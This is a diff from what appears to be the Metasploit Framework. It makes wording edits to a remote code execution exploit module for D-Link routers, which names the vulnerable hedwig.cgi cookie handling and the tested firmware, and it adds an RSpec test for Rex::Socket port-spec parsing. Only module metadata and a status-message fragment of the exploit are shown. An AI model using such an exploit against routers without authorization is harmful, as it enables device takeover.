'Description' => %q{
This module exploits an anonymous remote code execution vulnerability on different D-Link
This module exploits an anonymous remote code execution vulnerability on several D-Link
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
and the DIR645A1_FW103B11 firmware.
@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
'Roberto Paleari', # Vulnerability discovery
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
],
'License' => MSF_LICENSE,
'References' =>
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - Trying to access the vulnerable URL...")
print_status("#{peer} - Accessing the vulnerable URL...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")

View File

@ -163,4 +163,35 @@ describe Rex::Socket do
end
end
describe '.portspec_to_portlist' do
portspec = '-1,0-10,!2-5,!7,65530-,65536'
context "'#{portspec}'" do
subject { described_class.portspec_to_portlist portspec }
it { should be_a(Array) }
not_included = []
not_included << -1
not_included << 65536
not_included.concat (2..5).to_a
not_included << 7
not_included.each do |item|
it { should_not include item }
end
included = []
included << -1
included.concat (0..10).to_a
included.concat (65530..65535).to_a
included << 65536
included = included - not_included
included.each do |item|
it { should include item }
end
end
end
end